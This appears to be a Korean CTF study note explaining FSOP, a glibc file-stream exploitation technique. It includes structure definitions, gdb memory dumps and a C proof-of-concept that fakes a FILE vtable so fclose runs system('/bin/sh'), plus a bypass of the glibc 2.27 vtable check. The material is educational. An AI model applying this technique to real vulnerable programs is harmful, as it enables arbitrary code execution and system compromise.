FSOP
File Stream Oriented Programming
- file struct 구조를 이용한 방식.
- fopen,fread처럼 파일스트림을 사용하는 함수가 있거나 bss영역에 stdout 등이 있을때 사용할 수 있음. ->원하는 함수를 실행 가능.
- 파일스트림이나 stdout을 사용하는 함수들이 호출될때는 vtable을 참고하여 함수를 호출함 -> vtable을 임의로 작성하여 원하는 함수를 호출하는 방법 .
- 18.04(glic 2.27) 이후부터는 vtable 검증루틴이 추가됨. 참조하는 vtable의 주소가 _libc_IO_vtables 영역에 존재하는 주소인지를 검증한다.
- 파일 구조체를 임의로 만들고 조작하여 최종적으로는 원하는 함수를 실행하는 기법.
- aeroCTF nav_journal 풀이중.
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
glibc 에서 파일 포인터는 __IO_FILE 이라는 구조체 형식을 따르는데, 이 내부에는 각각 읽기, 쓰기에 해당하는 포인터와 주소 베이스/끝나는 위치에 대한 정보등등이 담겨있고, 이 __IO_FILE 구조체들은 모두 단일 연결리스트로 연결되어있다.
구조체 내부에서 다음번 __IO_FILE의 주소를 가지고 있는 포인터는 *_chain이고, 연결리스트의 첫 구조체 포인터는 __IO_list_all_에 저장된다.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
__IO_FILE_plus 구조체는 _IO_FILE을 멤버로 가지는 구조체로, __IO_jump_t 구조체로 선언된 *vtable을 멤버로 가지고 있다.
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
이러한 구조체의 구성을 인지하고 취약점이 어떻게 발생하는지를 찾아보자.
fsop에서 취약점이 발생하는 부분은 fclose 함수가 실행될 때이다.
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
소스코드의 해당 부분에서 _IO_FINISH(fp) 가 호출되는데 이때의 _IO_FINISH는 vtable 구조체의 멤버인 _IO_file_finish 함수 포인터를 가리킨다.
- 이때 vtable을 보면 finish외에도 다른 함수들의 포인터가 많이 존재하는게 보인다. 다른 방식에선 저 포인터들을 이용하기도 하더라.
따라서, 파일포인터 구조체의 fp와 vtable 내부의 _IO_finish를 덮어쓰면 원하는 함수를 실행할 수 있게 되는것.
다른 메모리 영역에 임의로 조작한 파일 구조체를 만들어 둔 다음, FILE *fp를 덮어써서 포인터 값을 옮기는 식으로 익스플로잇을 진행할수도 있고, 이미 만들어져있는 파일 구조체를 덮어씌우는 식으로도 진행이 가능하다 .
---- test on ubuntu 16.04 (glibc 2.23) ----
gdb-peda$ x/50gx 0x602010
0x602010: 0x00000000fbad2484 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x00007ffff7dd2540
0x602080: 0x0000000000000003 0x0000000000000000
0x602090: 0x0000000000000000 0x00000000006020f0
0x6020a0: 0xffffffffffffffff 0x0000000000000000
0x6020b0: 0x0000000000602100 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 [ 0x00007ffff7dd06e0 ]
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
어떤식으로 되어있는지 메모리를 보자. 0x602010주소가 _flag로써 __IO_FILE 구조체의 시작이다. 이후 0x602060 영역까지가 _IO_read_ptr을 비롯한 각종 포인터들이 위치한 곳이고 *_markers , *_chain 구조체 포인터 두개가 차례대로 온다. (0x602070,78)
그 다음 int형 멤버 두개 fileno와 _blksize (혹은 _flages2)가 온 다음 (0x602080) _old_offest이 위치한다.(0x602088)
거기부턴 순서대로 _cur_column, _vtable_offset, _shortbuf 이 오는데 모두 0x602090에 들어가고,
그 뒤부턴 _lock, _offset 등등이 오다가 0x6020e8 위치에 _IO_file_jumps의 주소값이 온다.
즉, 위의 메모리 구조는 _IO_FILE_plus 구조체로써 0x602010 ~ 0x6020e0 까지는 _IO_FILE 구조체의 멤버들이 위치하고 그 다음 주소인 0x6020e8는 _IO_jump_t( = _IO_file_jumps ) 구조체인 vtable 포인터의 주소가 오는것이다.
gdb-peda$ x/10gx 0x00007ffff7dd06e0
0x7ffff7dd06e0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd06f0 <_IO_file_jumps+16>: 0x00007ffff7a869c0 0x00007ffff7a87730
0x7ffff7dd0700 <_IO_file_jumps+32>: 0x00007ffff7a874a0 0x00007ffff7a88600
0x7ffff7dd0710 <_IO_file_jumps+48>: 0x00007ffff7a89980 0x00007ffff7a861e0
0x7ffff7dd0720 <_IO_file_jumps+64>: 0x00007ffff7a85ec0 0x00007ffff7a854c0
gdb-peda$ x/3i 0x00007ffff7a869c0
0x7ffff7a869c0 <_IO_new_file_finish>: push rbx
0x7ffff7a869c1 <_IO_new_file_finish+1>: cmp DWORD PTR [rdi+0x70],0xffffffff
0x7ffff7a869c5 <_IO_new_file_finish+5>: mov rbx,rdi
gdb-peda$ x/3i 0x00007ffff7a87730
0x7ffff7a87730 <_IO_new_file_overflow>: mov ecx,DWORD PTR [rdi]
0x7ffff7a87732 <_IO_new_file_overflow+2>: test cl,0x8
0x7ffff7a87735 <_IO_new_file_overflow+5>: jne 0x7ffff7a878d0 <_IO_new_file_overflow+416>
gdb-peda$ x/3i 0x00007ffff7a88600
0x7ffff7a88600 <__GI__IO_default_uflow>: mov rax,QWORD PTR [rdi+0xd8]
0x7ffff7a88607 <__GI__IO_default_uflow+7>: push rbx
0x7ffff7a88608 <__GI__IO_default_uflow+8>: mov rbx,rdi
gdb-peda$ x/3i 0x00007ffff7a88600
0x7ffff7a88600 <__GI__IO_default_uflow>: mov rax,QWORD PTR [rdi+0xd8]
0x7ffff7a88607 <__GI__IO_default_uflow+7>: push rbx
0x7ffff7a88608 <__GI__IO_default_uflow+8>: mov rbx,rdi
vtable 메모리는 위와 같다. 구조체에 선언된 대로 첫 16바이트는 더미로 채워지고, 그 다음부터는 _IO 함수들의 함수 포인터가 저장되어있는것이 보인다. 따라서 해당 vtable 구조체 내의 함수 포인터위치에 들어있는 값이 변조되면 특정 동작 수행시에 정상적인 함수포인터 대신 변조된 함수 포인터가 실행될거라는 이야기다. 구조체 순서대로면 세번째 멤버, 즉 0x7ffff7dd06f0 위치가 __IO_finish의 주소 위치이므로 이에 위치한 주소를 참조하여 함수가 동작한다.
이때 fp는 __FILE 구조체의 첫 멤버의 주소값이 되므로, /bin/sh를 가리키는 주소값을 해당 위치인 0x602010에 넣어주어야 인자값으로 들어간다.
#include <stdio.h>
#include <stdlib.h>
// gcc -no-pie -fno-stack-protector ftest.c -o ftest
void syscall(char* arg){
system(arg);
};
int main(){
FILE *p = NULL;
long long int *ptr;
long long int *vptr;
p = fopen("test.txt","w");
ptr = p;
vptr = *(ptr+27)+0x10;
// *vptr = 0x1000;
printf("%lx\n",&syscall);
printf("%lx\n",*ptr);
printf("%lx\n",*(vptr));
printf("%lx\n",*(ptr+27));
fclose(p);
return 0;
}
테스트 코드를 작성해서 system 함수를 실행시켜보자.
예제코드에서는 파일 스트럭쳐 구조에 따라 ptr+27 에 vtable의 주소값을 가져왔고, 해당 주소값을 다시 참조해 들어간 후 +0x10을 하여 __IO_finish의 주소까지 접근가능한걸 확인했다.
이제 해야하는건, vtable의 주소값을 임의의 주소 (ex-0x600000) 으로 변조 한 뒤, 해당 임의주소영역에 가짜 vtable을 구성하여 vtable+0x10 위치에 가짜 __io_finish 함수의 포인터를 넣고 (ex-0x6000010) fclose를 실행시키는것.
현재의 경우는 syscall함수의 주소가 400626에 들어있는 상황인데, vtable 과 vtable+8 에는 0이 채워져야 하고 vtable+0x10 위치에 해당 주소값이 들어가도록 가짜 vtable을 구성해주어야 한다.
0x7ffff7a7a29c <_IO_new_fclose+60>: call QWORD PTR [rax+0x10]
RAX: 0x7fffffffe3f0 --> 0x0
gdb-peda$ x/10gx 0x7fffffffe3f0
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe400: 0x0000000000400626 0x8000000000000006
내가 이론적으로 알고있는 부분은 위의 IO_new_fclose에서 rax+0x10 에 있는 함수를 호출하는것. 즉 syscall 함수를 호출하는것이다.
또한 해당 함수의 인자는 file pointer의 첫번째 멤버 값이 되므로, "/bin/sh" 문자열의 주소값이 해당 위치에 들어가도록 지정해주면 된다.
#include <stdio.h>
#include <stdlib.h>
// gcc -no-pie -fno-stack-protector ftest.c -o ftest
char * bin = "/bin/sh";
void syscall(int * arg){
//printf("%lx\n",bin);
//printf("%lx\n",*arg);
system(*arg);
};
int main(){
FILE *p = NULL;
long long int *ptr;
long long int *vptr;
long long int fakev[20];
p = fopen("test.txt","w");
ptr = p;
fakev[0] = 0x0;
fakev[1] = 0x0;
fakev[2] = &syscall;
ptr[0] = bin;
ptr[27] = &fakev;
vptr = *(ptr+27);
printf("%lx\n",&syscall);
printf("%lx\n",*ptr);
printf("%lx\n",*(ptr+27));
printf("%lx\n",fakev[2]);
printf("%lx\n",*(vptr+2));
fclose(p);
return 0;
}
위처럼 예제코드를 작성하여 실행시키면 _IO_new_fclose+60 에서 call rax+0x10 을 통해 vtable+0x10 -> syscall 함수를 호출하고, 해당 함수의 인자로는 p의 첫번째 멤버값 -> bin("/bin/sh") 가 들어가게 되어 최종적으로는 fclose가 실행될 때에 syscall 함수에서 system("/bin/sh")가 실행되어 쉘이 떨어진다.
- 이때, __IO_FILE 포인터의 chain은 다음 포인터를 가리키는 식으로 단방향 연결리스트가 구성된다고 했다. 각각의 fp마다 fake vtable을 구성하여 연달아 실행되게 함으로써 ROP 와 같이 연속적인 함수의 실행을 유도하는것이 가능하다.
glibc 2.27 (우분투 18.04) 이후부터는 vtable 검증 루틴이 추가되었는데, 참조하는 vtable의 주소가 _libc_IO_vtables 영역에 존재하는 주소인지를 검증한다. 그러나 _libc_IO_vtable 영역에 공격에 사용할만한 다른 함수가 있기 때문에 이를 이용한다.
_IO_str_jumps에 _IO_str_overflow 라는 함수가 있는데, 해당 함수 내에는 아래와 같은 코드가 있다.
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
여기서 (char ) (((_IO_strfile *) fp)->_s._allocate_buffer) (new_size) 로 인해 취약점이 발생하는데, fp의 멤버인 _s.allocate_buffer를 원하는 함수의 주소로 변조하고, new_size 변수를 인자값의 주소로 바꾸면 원하는 함수가 실행된다.
글 자체는 써둔지 되게 오래됐는데, 정리해서 올리는게 늦었다..